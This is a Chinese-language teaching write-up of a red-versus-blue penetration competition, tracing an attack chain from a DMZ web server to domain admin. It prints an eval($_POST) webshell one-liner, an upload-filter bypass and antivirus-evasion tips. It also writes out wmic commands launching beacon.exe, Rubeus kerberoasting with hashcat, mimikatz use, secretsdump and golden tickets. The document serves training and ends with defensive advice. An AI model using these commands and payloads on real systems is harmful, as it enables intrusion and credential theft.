XX第五届对抗赛
字数 1952 2025-08-24 20:49:22
XX第五届对抗赛-先知社区渗透测试教学文档
1. 对抗赛背景与规则
目标:获取企业www.xxx.com的《上市商业计划书.docx》
访问方式:通过OPENVPN访问
得分规则:
- 必须有WEBSHELL/交互式SHELL才能获得权限分
- 仅漏洞回显不给分
- 更注重考察漏洞利用而非漏洞验证
2. DMZ区渗透测试
2.1 Nginx解析漏洞利用
环境配置:
- 网站目录下存在upload.html页面
- 上传页面采用白名单校验
- PHP环境+Windows系统
- 文件上传后未重命名
漏洞利用方法:
- 尝试上传1.php:.png(文件会落地但内容为0kb)
- 利用Nginx解析漏洞:
- 上传包含PHP代码的文件
- 通过添加特殊后缀如.php%00.jpg绕过
绕过技巧:
- 注意文件名中不允许包含<等符号
- 测试各种解析漏洞变体
2.2 PHPStudy后门利用
环境特点:
- 常规RCE漏洞+Windows环境+杀软防护
- 存在php探针页面
利用方法:
- 直接使用file_put_contents()写入一句话木马:
<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?> - 绕过杀软执行命令:
- 避免使用system('echo/powershell/certutil')等常见命令
- 研究LOLBAS项目中的替代方法
2.3 Fastjson漏洞利用
原计划环境:
- Shiro JRMP链+Windows+杀软
- 目标:修改yso实现代码执行打Shiro JRMP实现内存马/下载执行/静态资源写webshell
实际部署:
- JNDI注入+Windows环境+杀软上线问题
利用方法:
- 实现方式:
- 内存马
- Java代码实现下载执行
- 静态资源写webshell
- 获取web路径方法
- 使用Java代码实现恶意EXE下载执行:
- 先判断系统信息:
System.getProperty("os.name") System.getProperty("os.arch")
- 先判断系统信息:
建议:
- 使用定制化的恶意类实现
- 减少攻击流量,一个包完成攻击
3. 办公网渗透测试
3.1 横向移动方法
环境特点:
- 7台主机通过DMZ区redis进入
- SMB泄露账号密码
利用工具:
- impacket包中的横向移动脚本
3.2 Log4j漏洞利用
利用手法:
- 与Fastjson利用手法相似
3.3 域发现技术
方法:
- 网络侧:
- netbios扫描
- 88&389等常用端口扫描(需知道网段)
- 主机侧:
- 当工作组主机DNS服务器是域控时:
nslookup 域名 - 检查保存的凭据:
cmdkey /list | findstr Domain - 使用mimikatz收集凭据
- 检查RDP连接记录:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
- 当工作组主机DNS服务器是域控时:
4. 域环境渗透测试
4.1 初始访问
环境特点:
- 8台主机
- 靶标在corp1.com域内
- 需要域管权限才能登录目标
- 部分主机不出网
利用方法:
- 通过RDP破解的dev\user02登录C06
- 绕过AppLocker限制:
- 使用DLL上线
- 白+黑技术(参考LOLBAS)
4.2 域内横向移动
技术方法:
- 使用socks4A代理
- sAMAccountName spoofing直接攻击
- 成功后会生成域管访问dev01的ST
- PTT利用secretsdump.py获取krbtgt
- 生成黄金票据
常见横向移动方法:
- SC
- AT/SCHTASKS
- PSEXEC
- WMI
- WINRM
- DCOM
实际操作:
wmic /node:dev01 process call create "C:\xx\beacon.exe"
4.3 权限提升与凭证窃取
- 在DEV01-beacon运行mimikatz获取凭证
- 发现corp1\jeff用户后steal token
- 尝试Kerberoasting:
execute-assembly C:\Users\Rubeus.exe kerberoast /outfile:C:\Users\jeff\tgs.txt hashcat -m 13100 -a 0 --force tgs.txt /usr/share/wordlists/FastPwds.txt - 若失败则使用PTH模拟corp1\jeff权限
4.4 最终目标获取
- 发现corp1\user_S02是S02的管理员
- 上线S02:
wmic /node:S02 process call create "C:\xx\beacon.exe" - 在S02上发现corp1域管进程
- 窃取token获取域管权限
- 访问S03获取目标文件
5. 溯源反制技术
5.1 攻击者识别方法
- 通过攻击流量分析:
- VPS关联的域名信息
- 包含攻击者ID的payload
- 蜜罐触发记录
5.2 反制技术
- 使用UNC获取攻击者ID
- 利用desktop.ini获取访问诱饵文件的NTLM请求
- 制作诱饵文件:
- 创建特殊文件
- 压缩为www.zip等待下载
- 攻击者错误配置:
- 在不恰当目录开启HTTP服务
- 如:在/root目录下误启用python -m http.server
6. 防御建议
-
文件上传防护:
- 实施严格的文件重命名策略
- 多重验证机制
-
中间件安全:
- 及时更新Nginx等中间件
- 禁用不必要的功能
-
代码执行防护:
- 限制危险函数使用
- 实施代码审计
-
域安全:
- 监控异常Kerberos请求
- 限制特权账户使用范围
-
日志监控:
- 收集和分析异常登录行为
- 监控横向移动活动
-
反制措施:
- 部署诱饵系统
- 监控异常文件访问
本教学文档详细记录了XX第五届对抗赛中的渗透测试技术和防御方法,涵盖了从Web应用到域环境的完整攻击链,可作为红蓝对抗演练的参考指南。